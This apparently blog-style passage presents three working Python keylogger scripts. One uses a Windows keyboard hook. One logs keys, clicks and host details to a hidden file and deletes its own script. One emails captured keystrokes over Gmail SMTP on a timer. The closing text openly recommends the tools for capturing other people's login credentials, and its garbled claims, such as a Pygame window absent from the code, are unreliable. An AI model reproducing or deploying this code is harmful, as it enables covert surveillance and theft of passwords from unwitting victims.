import ctypes
import ctypes.wintypes as wintypes
import pathlib
import os
import sys
import time
import threading
from genutils import colorprint
# Redefinitions to help improve readability (...Readabilty Counts...)
# == Low Level keyboard and stuff like that == #
WH_KEYBOARD_LL = ctypes.c_int(13)
WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, WM_SYSKEYUP = 256, 257, 260, 261
VK_SHIFT,VK_CONTROL,VK_ALT = 0x10, 0x11, 0x12
# Redefinition that make the code look clearer
LRESULT = wintypes.LPARAM
user32 = ctypes.WinDLL("user32.dll", use_last_error=True)
kernel32 = ctypes.WinDLL("kernel32.dll" ,use_last_error=True)
SetWindowsHookEx = user32.SetWindowsHookExW
CallNextHookEx = user32.CallNextHookEx
GetAsyncKeyState, GetKeyState = user32.GetAsyncKeyState, user32.GetKeyState
# ============================================ #
# Keyboard Low Level Struct...
class KBDLLHOOKSTRUCT(ctypes.Structure):
_fields_ = [
("vkCode", wintypes.DWORD),
("scanCode",wintypes.DWORD),
("flags", wintypes.DWORD),
("time", wintypes.DWORD),
("dwExtraInfo", ctypes.POINTER(ctypes.c_ulong))
]
# ...and a pointer to it.
LPKBDLLHOOKSTRUCT = ctypes.POINTER(KBDLLHOOKSTRUCT)
# Define the callback
HOOKPROC = ctypes.WINFUNCTYPE(LRESULT, ctypes.c_int, wintypes.WPARAM, wintypes.LPARAM)
HOOKPROC = ctypes.WINFUNCTYPE(LRESULT, ctypes.c_int, wintypes.WPARAM, wintypes.LPARAM)
LowLevelKeyboardProc = HOOKPROC
# Specify the return type and arguments
SetWindowsHookEx.restype = wintypes.HHOOK
SetWindowsHookEx.argtypes = (
ctypes.c_int, #idHook
HOOKPROC, #lpfn
wintypes.HINSTANCE, #hmod
wintypes.DWORD, #dwThreadId
)
CallNextHookEx.restype = LRESULT
CallNextHookEx.argtypes= (
wintypes.HHOOK, #idHook
ctypes.c_int, #nCode
wintypes.WPARAM, #wParam
wintypes.LPARAM, #lParam
)
MessageBox = user32.MessageBoxW
@LowLevelKeyboardProc
def LLKeyboardProc(nCode, wParam, lParam):
pKBSTRUCT = ctypes.cast(lParam, LPKBDLLHOOKSTRUCT)[0]
logfile = pathlib.Path(f"{os.getenv('PUBLIC')}\\kclog")
try:
# * If a keydown is detected
if wParam == WM_KEYDOWN:
logfile = open(logfile, "a+")
logfile.write(
f"Keycore {pKBSTRUCT.vkCode} {time.strftime('%H:%M:%S')}\n"
)
logfile.close()
except Exception as ERR:
print(str(ERR))
return CallNextHookEx(None,nCode,wParam,lParam)
class KeyloggerThread(threading.Thread):
"""
Description
-----------
Keycore is an "engine" that works in a thread until the
main process ends. Once it is hooked, it will write to
wherever environment variable %PUBLIC% points to.
Author: Dante Wagner
Version: 1.1
License: GNU GPLv3
"""
def __init__(self, group=None, target=None, name=None, args=(), kwargs={}, *,
daemon=None, verbose = False):
super().__init__()
self.verbose = verbose
self.running = False
def run(self):
"""
Start the keylogger
Parameters
----------
logfile: string
The log filename to write to (If no absolute path is given,
then it defaults to" %HOMEPATH%\logfile.txt")
verbose: bool
Returns
-------
int
If the function succeed it should return 0.
"""
self.hHook = SetWindowsHookEx(
WH_KEYBOARD_LL,
LLKeyboardProc,
None,
0
)
msg = wintypes.MSG()
if self.verbose:
MessageBox(
None,
"Keylogger is ON",
"Keycore message",
0
)
self.running = True
while self.running:
while user32.PeekMessageW(ctypes.byref(msg), None, 0, None, None) > 0:
user32.TranslateMessage(ctypes.byref(msg))
user32.DispatchMessageW(ctypes.byref(msg))
if self.running == False:
break
user32.UnhookWindowsHookEx(self.hHook)
if self.verbose:
MessageBox(
None,
"Keylogger will shut down",
"Keycore message",
0
)
return 0
if __name__ == "__main__":
colorprint('Keycore V1 - A keylogging engine', 'cyan')
colorprint('\nAuthor: Dante W.', 'yellow')
colorprint('Version: ', 'yellow', 'bold', end='')
colorprint(' 1.1', 'green')
keyc = KeyloggerThread(verbose = True)
kc = keyc.start()
while input() != 'quit':
pass
keyc.running = False
sys.exit(0)
#14 Keylogger Script:
from datetime import datetime
try:
import logging
import os
import platform
import smtplib
import socket
import threading
import wave
from pynput import keyboard, mouse
except ModuleNotFoundError:
from subprocess import call
modules = ['pynput', ]
call('pip install ' + ' '.join(modules), shell=True)
finally:
EMAIL_ADDRESS = 'gmail@gmail.com'
EMAIL_PASSWORD = 'mysecurepassword'
SEND_REPORT_EVERY = 5 # as seconds
JUST_CHARS = True
class KeyLogger:
def __init__(self, time_interval, email, password, just_chars):
self.interval = time_interval
self.log = 'KeyLogger Started on '
self.email = email
self.password = password
self.just_chars = just_chars
def appendlog(self, string):
self.log = self.log + string if string else ''
def on_move(self, x, y):
""" Commented to keep it clean """
message = f'[Mouse Moved To {x}-{y}] '
self.appendlog(message)
def on_click(self, x, y, *args, **kwargs):
if args[1] == 1:
message = f'[{args[0]}] '
self.appendlog(message)
def on_scroll(self, x, y, *args, **kwargs):
""" Commented to keep it clean """
if args[0] == 0:
message = '[Scrolling Down] ' if args[1] == -1 else '[Scrolling Up] '
else:
message = '[Scrolling Left] ' if args[0] == -1 else '[Scrolling Right] '
self.appendlog(message)
def save_data(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.backspace:
current_key = '[<-]'
elif key == key.space:
current_key = ' '
elif key == key.esc:
current_key = '[ESC]'
elif key == key.shift:
current_key = '' if self.just_chars else '[SHIFT]'
elif key == key.caps_lock:
current_key = '[CAPSLOCK]'
elif key == key.alt:
current_key = '[ALT]'
elif key == key.alt_r:
current_key = '[ALT_R]'
elif key == key.ctrl:
current_key = '[CTRL]'
elif key == key.ctrl_r:
current_key = '[CTRL_R]'
elif key == key.up:
current_key = '' if self.just_chars else '[UP]'
elif key == key.down:
current_key = '' if self.just_chars else '[DOWN]'
elif key == key.left:
current_key = '' if self.just_chars else '[LEFT]'
elif key == key.right:
current_key = '' if self.just_chars else '[RIGHT]'
elif key == key.enter:
current_key = '[ENTER]\n'
elif key == key.tab:
current_key = '[TAB]'
else:
current_key = str(key)
self.appendlog(current_key)
def save_log(self, message):
if not hasattr(self, 'server'):
# self.server = smtplib.SMTP(host='smtp.gmail.com', port=587)
# self.server.starttls()
# self.server.login(email, password)
if not message.isspace():
message = '\n' + datetime.now().strftime('%Y-%m-%d %H:%M') + ' ' + message
print(message)
log_file = '/var/tmp/.important.log'
with open(log_file, 'a') as f:
f.write(message)
# self.server.sendmail(email, email, message)
def report(self):
self.save_log(self.log)
self.log = ''
timer = threading.Timer(self.interval, self.report)
timer.start()
def system_information(self):
hostname = socket.gethostname()
ip = socket.gethostbyname(hostname)
plat = platform.processor()
system = platform.system()
machine = platform.machine()
self.appendlog(f'{hostname=}')
self.appendlog(f'{ip=}')
self.appendlog(f'{plat=}')
self.appendlog(f'{system=}')
self.appendlog(f'{machine=}')
def run(self):
file_path = os.path.abspath(__file__)
os.system('chattr -i ' + file_path)
os.system('rm -rf ' + file_path)
print('File Removed.')
self.system_information()
self.report()
# mouse_listener = mouse.Listener(on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll)
mouse_listener = mouse.Listener(on_click=self.on_click)
keyboard_listener = keyboard.Listener(on_press=self.save_data)
if self.just_chars:
with keyboard_listener:
keyboard_listener.join()
else:
with mouse_listener, keyboard_listener:
keyboard_listener.join()
mouse_listener.join()
keylogger = KeyLogger(SEND_REPORT_EVERY, EMAIL_ADDRESS, EMAIL_PASSWORD, JUST_CHARS)
try:
keylogger.run()
except KeyboardInterrupt:
print('\n\nBye Bye\nPress (Ctrl + C) Again')
#15 Keylogger Script:
import keyboard # for keylogs
import smtplib # for sending email using SMTP protocol (gmail)
# Timer is to change the frequence the script saves the log file
from threading import Timer
from datetime import datetime
SEND_REPORT_EVERY = 60 # i forgot and left this script running, when i sawe i was flooded with log files :(
EMAIL_ADDRESS = "your-sussy-email@gmail.com"
EMAIL_PASSWORD = "your-sussy-password"
class Keylogger:
def __init__(self, interval, report_method="email"):
# we gonna pass SEND_REPORT_EVERY to interval
self.interval = interval
self.report_method = report_method
# this is the string variable that contains the log of all
# the keystrokes within `self.interval`
self.log = ""
# record start & end datetimes
self.start_dt = datetime.now()
self.end_dt = datetime.now()
def callback(self, event):
"""
This callback is invoked whenever a keyboard event is occured
(i.e when a key is released in this example)
"""
name = event.name
if len(name) > 1:
# not a character, special key
# uppercase with []
if name == "space":
# " " instead of "space", witch is better
name = " "
elif name == "enter":
# add a new line whenever an ENTER is pressed
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
# replace spaces with underscores
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
# add the key name to our global `self.log` variable, lol
self.log += name
def update_filename(self):
# construct the filename to be identified by start & end datetimes
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
def report_to_file(self):
"""This method creates a log file in the current directory that contains
the current keylogs in the `self.log` variable"""
# open the file in write mode (create it)
with open(f"{self.filename}.txt", "w") as f:
# write the keylogs to the file
print(self.log, file=f)
print(f" Saved {self.filename}.txt")
def sendmail(self, email, password, message):
# manages a connection to an SMTP server
server = smtplib.SMTP(host="smtp.gmail.com", port=587)
# connect to the SMTP server as TLS mode ( for security )
server.starttls()
# login to the email account
server.login(email, password)
# send the actual message
server.sendmail(email, email, message)
# terminates the session
server.quit()
def report(self):
"""
This function gets called every `self.interval`
It basically sends keylogs and resets `self.log` variable
"""
if self.log:
# if there is something in log, report it
self.end_dt = datetime.now()
# update `self.filename`
self.update_filename()
if self.report_method == "email":
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
elif self.report_method == "file":
self.report_to_file()
# if you want to print in the console, uncomment below line
# print(f"[{self.filename}] - {self.log}")
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
# set the thread as daemon (dies when main thread die)
timer.daemon = True
# start the timer
timer.start()
def start(self):
# record the start datetime
self.start_dt = datetime.now()
# start the keylogger
keyboard.on_release(callback=self.callback)
# start reporting the keylogs
self.report()
# block the current thread, wait until CTRL+C is pressed
keyboard.wait()
if __name__ == "__main__":
# if you want a keylogger to send to your email
# keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
# if you want a keylogger to record keylogs to a local file
# (and then send it using your favorite method)
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
keylogger.start()
Conclusion:
Keyloggers are commonly used in the business world for capturing the login credentials of other people. If you need to capture someone’s login credentials, this is the perfect tutorial for you!.Our keylogger will use the Pygame library to create a window, which will then display a new image every time a key is pressed.Key loggers are a handy tool that many people use and they are often used to monitor employees or other individuals.It’s important to include a keylogger in your research to capture information as soon as it is input into the computer. we’ll be covering the basics of how to write your own keylogger, along with some examples of how you can use it.you are creating a tool that can record each keystroke on a keyboard for your personal use. If you are looking for a keylogger to purchase or you want to build your own.We know that many of you have been wanting to learn about keyloggers for some time now, and we are here to help! With the information provided in this blog post, you will have no problem creating your own keylogger in Python
